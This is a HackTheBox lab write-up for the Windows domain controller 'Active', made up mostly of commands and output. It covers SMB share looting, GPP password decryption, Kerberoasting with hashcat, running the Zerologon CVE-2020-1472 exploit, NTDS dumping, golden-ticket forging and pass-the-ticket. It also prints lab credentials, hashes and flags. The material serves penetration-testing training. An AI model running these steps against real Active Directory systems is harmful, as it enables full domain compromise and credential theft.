

HackTheBox Writeup - Active

#hackthebox #nmap #windows #active-directory #crackmapexec #enum4linux #smbclient #gpp-credential #gpp-decrypt #kerberoast
#hashcat #impacket #zero-logon #CVE-2020-1472 #dcsync #golden-ticket #pass-the-ticket #oscp-like

Recon

CrackMapExec

```
└─(kali㉿kali)-[~/htb/Active]
└─$ cme smb 10.10.10.100 -u '' -p '' -M zerologon
SMB 10.10.10.100 445 DC [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True)
(SMBv1:False)
SMB 10.10.10.100 445 DC [+] active.htb\
SMB 10.10.10.100 445 DC [-] Neo4J does not seem to be available on bolt://127.0.0.1:7687.
ZEROLOGO... 10.10.10.100 445 DC VULNERABLE
ZEROLOGO... 10.10.10.100 445 DC Next step: https://github.com/dirkjanm/CVE-2020-1472
```

Add to hosts

```
echo '10.10.10.100 active.htb dc.active.htb' | sudo tee -a /etc/hosts
```

Nmap

```
# Nmap 7.94 scan initiated Thu Jul 20 22:38:55 2023 as: nmap -sVC -p- -T4 -Pn -vv -oA Active 10.10.10.100
Nmap scan report for 10.10.10.100
Host is up, received user-set (0.059s latency).
Scanned at 2023-07-20 22:38:55 CST for 141s
Not shown: 65512 closed tcp ports (reset)
```

PORT	STATE	SERVICE	REASON	VERSION
53/tcp	open	domain	syn-ack ttl 127	Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
dns-nsid:				
_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)				
88/tcp	open	kerberos-sec	syn-ack ttl 127	Microsoft Windows Kerberos (server time: 2023-07-20 14:40:15Z)
135/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
139/tcp	open	netbios-ssn	syn-ack ttl 127	Microsoft Windows netbios-ssn
389/tcp	open	ldap	syn-ack ttl 127	Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp	open	microsoft-ds?	syn-ack ttl 127	
464/tcp	open	kpasswd5?	syn-ack ttl 127	
593/tcp	open	ncacn_http	syn-ack ttl 127	Microsoft Windows RPC over HTTP 1.0
636/tcp	open	tcpwrapped	syn-ack ttl 127	
3268/tcp	open	ldap	syn-ack ttl 127	Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp	open	tcpwrapped	syn-ack ttl 127	
5722/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
9389/tcp	open	mc-nmf	syn-ack ttl 127	.NET Message Framing
47001/tcp	open	http	syn-ack ttl 127	Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
_http-server-header: Microsoft-HTTPAPI/2.0				
_http-title: Not Found				
49152/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
49153/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
49154/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
49155/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
49157/tcp	open	ncacn_http	syn-ack ttl 127	Microsoft Windows RPC over HTTP 1.0
49158/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
49165/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
49170/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC
49171/tcp	open	msrpc	syn-ack ttl 127	Microsoft Windows RPC

Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:

| smb2-security-mode:
| 2:1:0:

```
|_ Message signing enabled and required
| smb2-time:
|   date: 2023-07-20T14:41:10
|_ start_date: 2023-07-20T05:54:44
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 40109/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 31962/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 38631/udp): CLEAN (Timeout)
|   Check 4 (port 61510/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: 3s

Read data files from: /usr/bin/./share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jul 20 22:41:16 2023 -- 1 IP address (1 host up) scanned in 141.16 seconds
```

Enum4linux

```
enum4linux -a active.htb | tee enum4linux.txt
```

Shares

```
[+] Attempting to map shares on active.htb

//active.htb/ADMIN$      Mapping: DENIED Listing: N/A Writing: N/A
//active.htb/C$ Mapping: DENIED Listing: N/A Writing: N/A
//active.htb/IPC$        Mapping: OK Listing: DENIED Writing: N/A
//active.htb/NETLOGON     Mapping: DENIED Listing: N/A Writing: N/A
//active.htb/Replication  Mapping: OK Listing: OK Writing: N/A
//active.htb/SYSVOL       Mapping: DENIED Listing: N/A Writing: N/A
//active.htb/Users        Mapping: DENIED Listing: N/A Writing: N/A
```

Users

No permissions

```
└─(kali㉿kali)-[~/htb/Active]
└─$ cme smb active.htb -u '' -p '' --users --rid-brute
SMB          active.htb      445    DC          [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True)
(SMBv1:False)
SMB          active.htb      445    DC          [+] active.htb\:
SMB          active.htb      445    DC          [-] Neo4J does not seem to be available on bolt://127.0.0.1:7687.
SMB          active.htb      445    DC          [*] Trying to dump local users with SAMRPC protocol
SMB          active.htb      445    DC          [-] Error creating DCERPC connection: SMB SessionError:
STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
```

User Flag

Dump SMB Share

```
└─(kali㉿kali)-[~/htb/Active]
└─$ smbclient //active.htb/Replication -U ""
Try "help" to get a list of possible commands.
smb: \> ls
.                D           0   Sat Jul 21 18:37:44 2018
..               D           0   Sat Jul 21 18:37:44 2018
active.htb       D           0   Sat Jul 21 18:37:44 2018

5217023 blocks of size 4096. 278230 blocks available
smb: \> cd active.htb\
smb: \active.htb\> ls
.                D           0   Sat Jul 21 18:37:44 2018
..               D           0   Sat Jul 21 18:37:44 2018
DfsrPrivate      DHS          0   Sat Jul 21 18:37:44 2018
Policies         D           0   Sat Jul 21 18:37:44 2018
scripts         D           0   Thu Jul 19 02:48:57 2018
```

5217023 blocks of size 4096. 278230 blocks available



Tip

Use Crackmapexec to spider shares and **output file structure in json**

```
cme smb active.htb -u '' -p '' -M spider_plus
```

Dump the share folder

```
└─(kali㉿kali)-[~/htb/Active]
```

```
└─$ mkdir loot&&cd loot
```

```
└─(kali㉿kali)-[~/htb/Active/loot]
```

```
└─$ smbget -a -R smb://active.htb/Replication
```

Using workgroup WORKGROUP, guest user

smb://active.htb/Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI

smb://active.htb/Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Group Policy/GPE.INI

smb://active.htb/Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf

smb://active.htb/Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml

smb://active.htb/Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol

smb://active.htb/Replication/active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04FB984F9}/GPT.INI

smb://active.htb/Replication/active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf

Downloaded 8.11kB in 8 seconds



Tip

Use Crackmapexec to **dump all access able shares**, and **output file structure in json**

<https://wiki.porchetta.industries/smb-protocol/spidering-shares>

```
cme smb active.htb -u '' -p '' -M spider_plus -o READ_ONLY=false
```

Find Sensitive Data

Find secrets and credentials

```
cd active.htb
grep -rin "pass"
```

```
(kali㉿kali)-[~/htb/Active/loot/active.htb]
└─$ grep -rin "pass"
Policies/{3182F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml:2:<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
```

What is cpassword?

GPP(Group Policy Preferences) Credentials

Ref - <https://infosecwriteups.com/attacking-gpp-group-policy-preferences-credentials-active-directory-pentesting-16d9a65fa01a>

Decrypt GPP(Group Policy Preferences) Credentials

```
(kali㉿kali)-[~/htb/Active/loot]
└─$ gpp-decrypt 'edBSH0whZLTjt/QS9FeIcJ83mjWA98gw9guK0hJ0dcqh+ZGMeX0sQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
```

```
GPPstillStandingStrong2k18
```

Validate credentials

```

└─(kali㉿kali)-[~/htb/Active]
└─$ cme smb active.htb -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
SMB          active.htb      445      DC          [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True)
(SMBv1:False)
SMB          active.htb      445      DC          [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18
SMB          active.htb      445      DC          [-] Neo4J does not seem to be available on bolt://127.0.0.1:7687.

```

Get user flag from smb share

```

└─(kali㉿kali)-[~/htb/Active]
└─$ cme smb active.htb -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares
SMB          active.htb      445      DC          [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True)
(SMBv1:False)
SMB          active.htb      445      DC          [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18
SMB          active.htb      445      DC          Node SVC_TGS@ACTIVE.HTB successfully set as owned in BloodHound
SMB          active.htb      445      DC          [*] Enumerated shares
SMB          active.htb      445      DC          Share          Permissions      Remark
SMB          active.htb      445      DC          -----
SMB          active.htb      445      DC          ADMIN$          Remote Admin
SMB          active.htb      445      DC          C$              Default share
SMB          active.htb      445      DC          IPC$            Remote IPC
SMB          active.htb      445      DC          NETLOGON        READ              Logon server share
SMB          active.htb      445      DC          Replication     READ
SMB          active.htb      445      DC          SYSVOL          READ              Logon server share
SMB          active.htb      445      DC          Users           READ

```

```

└─(kali㉿kali)-[~/htb/Active/loot]
└─$ smbclient //active.htb/Users -U "SVC_TGS%GPPstillStandingStrong2k18"
Try "help" to get a list of possible commands.
smb: \> ls
.                DR          0   Sat Jul 21 22:39:20 2018
..               DR          0   Sat Jul 21 22:39:20 2018
Administrator    D          0   Mon Jul 16 18:14:21 2018
All Users         DHSrn      0   Tue Jul 14 13:06:44 2009

```

Default	DHR	0	Tue Jul 14 14:38:21 2009
Default User	DHSrn	0	Tue Jul 14 13:06:44 2009
desktop.ini	AHS	174	Tue Jul 14 12:57:55 2009
Public	DR	0	Tue Jul 14 12:57:55 2009
SVC_TGS	D	0	Sat Jul 21 23:16:32 2018

5217023 blocks of size 4096. 284615 blocks available

smb: \> get SVC_TGS\Desktop\user.txt

getting file \SVC_TGS\Desktop\user.txt of size 34 as SVC_TGS\Desktop\user.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)

smb: \> ^C

└─(kali㉿kali)-[~/htb/Active/loot]

└─\$ cat SVC_TGS\\Desktop\\user.txt

2a6c4b58ab401fb03c1b530947e5580e

Root Flag

Kerberoasting

└─(kali㉿kali)-[~/htb/Active]

└─\$ GetUserSPNs.py active.htb/SVC_TGS:'GPPstillStandingStrong2k18' -request -outputfile kerberoastables.txt

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ServicePrincipalName	Name	MemberOf	PasswordLastSet
LastLogon	Delegation		
-----	-----	-----	-----
-----	-----		
active/CIFS:445	Administrator	CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb	2018-07-19 03:06:40.351723 2023-07-21 00:50:20.181361

[-] CCache file is not found. Skipping...


```
hashcat kerberoastables.txt /opt/wordlists/rockyou.txt
```

Result :

```
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$3c4a3acd2523ac2a0173c0753f1679d1$ec0107fb8e33c6718dfb87628e931779e605fb4f46db72af9c9a39dbeb18627792f90518f612ec6f494cadbba55204e9d767de02a31afbfb8d2cca40dc5189c966490a94acd19a7ee14c803e2b8b0dfd8443ee19499dbe6da176f507cdced931338b020c5c6959e041c2f0df3e8218d4c434bd66c39bbbec4e43723eb3edefd14ee0c2d984b2bd090fcfc396641efd6215d8063d2dffcd03ad62481c22eaaab3d289b729827824095434cbce2b8e1614b1d6c0b164c0554716f1bb0e15c274baae861df82c1446649c3c01293051740e2231a002fb61d50dfcbb6b026f23648b34f6c1e97e0357f4d7913406f6e10a182e1ffb3d95c9cbd464b8d25459382d85f614ff0f7781003a6aff56870e1f08245cef79f2e6643aa53c63a40f0d261b6f892cd9b1a90a40fdd9f5abadbeda8ae44e339be5471a421652f500cad7061cb4abbc4c566b97003be64fe61f15b57efe2f72460b7f135546e46894cd63f7c27b2e52730e64a727880d818a018023db6bd0869a1d742c7928e3d16197f670f2fff9b8c5b69037efa255ece4696a448b537209db83d23dff7b4bf70493de74d499a259ca0bef12d10ae9163993f8605abf18829a0821c29e2575ae7bc57e371cb5d12712f4f880d4a53e32b7e834552ead3640c1e61771343603ffc067ff39b7735b8b71c5b2915be32c9e951932223754fec2d50c6cfa2f06c5003132a119e6524cd4e61316adf544c8450d5fea29ea0389b1b10b9c0f0a04bd17d61f26d072ddae023e9b7f78358efd6051a59737d6f6086ff5c5f2bc26f9be427ad25f10e954c4a7bcd77fe8b759f5fbc3ff6db87fad7ef7366ebed61b569ce85ea8654fa550da0170f1e7354752c4888d67b59ffb3862d833bebcd50a4547064d46b84614e1e4e8c8d215033229cc830654be535f3990546c272b91dddb69c193a4b0df288f0dd778e59a7b97ba3d37abdbd8f1da02ac54c90c64a44b85b357f7fc100d73525e74f635119492287ccf1a349f522fb19ffffac9b87d1797f3702659c534b73336f286a06b886ca71ac3a5aadf03adde6305dedf7b20a8c5cfe113d6da33f944e7c813c485c8586190ca8e2b04ff70163fd2821294cb9dfc47fceb1f9d36b2ef950639a1b1bc6adf6913f9b4ff79ca1161933b8d771aa0bf57ae103e2a5f6c8c8011befc8f8034df55ec9f412bb453fc740fdf6c65648a5d4dc54fa30e60387565c23e14272483e8931dca36c0ac9684640a5bafbb9564aeceb9d40:Ticketmaster1968
```

Access the machine

```
└─(kali㉿kali)-[~/htb/Active]
└─$ wmiexec.py Administrator:Ticketmaster1968@dc.active.htb -shell-type powershell
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[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\> cat $env:userprofile\Desktop\root.txt
ad33fe899c894a9a420e1e543531d8a5
```

Additional

Zero Logon

Run exploit

```
(kali㉿kali)-[/opt/sectools/CVE/CVE-2020-1472]
└─$ python cve-2020-1472-exploit.py DC 10.10.10.100
Performing authentication attempts...
=====
Target vulnerable, changing account password to empty string

Result: 0

Exploit complete!
```

Dump ntds

```
secretsdump.py htb.local/'DC$'@10.10.10.100 -no-pass -just-dc -outputfile ~/htb/Active/zerologon_secretsdump.txt
```

Sync time with domain controller

```
(kali㉿kali)-[~/htb/Active]
└─$ sudo ntpdate active.htb
[sudo] password for kali:
2023-07-20 22:54:20.515300 (+0800) +3.370793 +/- 0.044577 active.htb 10.10.10.100 s1 no-leap
CLOCK: time stepped by 3.370793
```

Reset machine's password to **fix kerberos authentication** after the exploit

```
(kali㉿kali)-[~/htb/Active]
└─$ cat zerologon_secretsdump.txt.ntds | grep -i admin
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5ffb4aaaf9b63dc519eca04aec0e8bed:::
```

```
└─(kali㉿kali)-[~/htb/Active]
└─$ wmiexec.py Administrator@dc.active.htb 'Reset-ComputerMachinePassword' -hashes 0:5ffb4aaaf9b63dc519eca04aec0e8bed -shell-type powershell
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[*] SMBv2.1 dialect used
```

Craft golden ticket

```
└─(kali㉿kali)-[~/htb/Active]
└─$ cat zerologon_secretsdump.txt.ntds.kerberos | grep krbtgt
krbtgt:aes256-cts-hmac-sha1-96:cd80d318efb2f8752767cd619731b6705cf59df462900fb37310b662c9cf51e9
krbtgt:aes128-cts-hmac-sha1-96:b9a02d7bd319781bc1e0a890f69304c3
krbtgt:des-cbc-md5:9d044f891adf7629
```

```
└─(kali㉿kali)-[~/htb/Active]
└─$ lookupsid.py htb.local/'DC$'@10.10.10.100 1 -no-pass
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```

```
[*] Brute forcing SIDs at 10.10.10.100
[*] StringBinding ncacn_np:10.10.10.100[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-405608879-3187717380-1996298813
```

```
ticketer.py -aesKey cd80d318efb2f8752767cd619731b6705cf59df462900fb37310b662c9cf51e9 -domain-sid S-1-5-21-405608879-3187717380-1996298813 -domain active.htb Administrator
```

Pass the ticket

```
└─(kali㉿kali)-[~/htb/Active]
└─$ export KRB5CCNAME=Administrator.ccache

└─(kali㉿kali)-[~/htb/Active]
└─$ wmiexec.py dc.active.htb -k -shell-type powershell
Impacket v0.10.1.dev1+20230718.100545.fdbd256 - Copyright 2022 Fortra
```

```
[*] SMBv2.1 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\> cd Users
PS C:\Users> ls
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute wmiexec.py again with -codec and the corresponding codec
```

Directory: C:\Users

Mode		LastWriteTime	Length	Name
d----	16/7/2018	1:14	??	Administrator
d-r--	14/7/2009	7:57	??	Public
d----	21/7/2018	6:16	??	SVC_TGS

```
PS C:\Users> cat Administrator\Desktop\root.txt
a5176dfd52de12647e9b8080a5587cff
```

```
PS C:\Users> cat SVC_TGS\Desktop\user.txt
d0246e17e65cd946d42a2ced108ed122
```

Spider Smb Share and find sensitive data

```
manspider dc.active.htb -f passw user admin account network login logon cred -d active.htb -u '' -p ''
```

```

(kali㉿kali)~[/htb/Active]
$ manspider dc.active.htb -f passw user admin account network login logon cred -d active.htb -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
[+] MANSPIDER command executed: /home/kali/.local/bin/manspider dc.active.htb -f passw user admin account network login logon cred -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
[+] Skipping files larger than 10.00MB
[+] Using 5 threads
[+] Searching by filename: ".*passw.*", ".*user.*", ".*admin.*", ".*account.*", ".*network.*", ".*login.*", ".*logon.*", ".*cred.*"
[+] Matching files will be downloaded to /home/kali/.manspider/loot
[+] dc.active.htb: Successful login as "SVC_TGS"
[+] dc.active.htb: Successful login as "SVC_TGS"
[+] dc.active.htb: Users\Default\NTUSER.DAT (256.00KB)
[+] dc.active.htb: Users\Default\NTUSER.DAT.LOG (1.00KB)
[+] dc.active.htb: Users\Default\NTUSER.DAT.LOG1 (93.00KB)
[+] dc.active.htb: Users\Default\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf (64.00KB)
[+] dc.active.htb: Users\Default\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer000000000000000001.regtrans-ms (512.00KB)
[+] dc.active.htb: Users\Default\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer000000000000000002.regtrans-ms (512.00KB)
[+] dc.active.htb: Users\SVC_TGS\Desktop\user.txt (34B)
[+] Finished spidering dc.active.htb

```

Ldapdomaindump

ldapdomaindump is so much faster than **enum4linux**

```
ldapdomaindump -o ldap_dump -r active.htb -u active.htb\\SVC_TGS -p 'GPPstillStandingStrong2k18'
```

Directory listing for /

- [domain_computers.grep](#)
- [domain_computers.html](#)
- [domain_computers.json](#)
- [domain_computers_by_os.html](#)
- [domain_groups.grep](#)
- [domain_groups.html](#)
- [domain_groups.json](#)
- [domain_policy.grep](#)
- [domain_policy.html](#)
- [domain_policy.json](#)
- [domain_trusts.grep](#)
- [domain_trusts.html](#)
- [domain_trusts.json](#)
- [domain_users.grep](#)
- [domain_users.html](#)
- [domain_users.json](#)
- [domain_users_by_group.html](#)

Bloodhound Find Kerberoastables

```
bloodhound-python -d active.htb -ns 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -c all --zip
```

Simply one click

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Search for a node

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Database Info

Node Info

Analysis

Find Principals with DCSync Rights

Users with Foreign Domain Group Membership

Groups with Foreign Domain Group Membership

Find Computers where Domain Users are Local Admin

Find Computers where Domain Users can read LAPS passwords

Find All Paths from Domain Users to High Value Targets

Find Workstations where Domain Users can RDP

Find Servers where Domain Users can RDP

Find Dangerous Privileges for Domain Users Groups

Find Domain Admin Logons to non-Domain Controllers

Kerberos Interaction

Find Kerberoastable Members of High Value Groups

List all Kerberoastable Accounts

Find Kerberoastable Users with most privileges

Find AS-REP Roastable Users (DontReqPreAuth)

Shortest Paths

Shortest Paths to Unconstrained Delegation Systems

Shortest Paths from Kerberoastable Users

ADMINISTRATOR@ACTIVE.HTB

KRBTGT@ACTIVE.HTB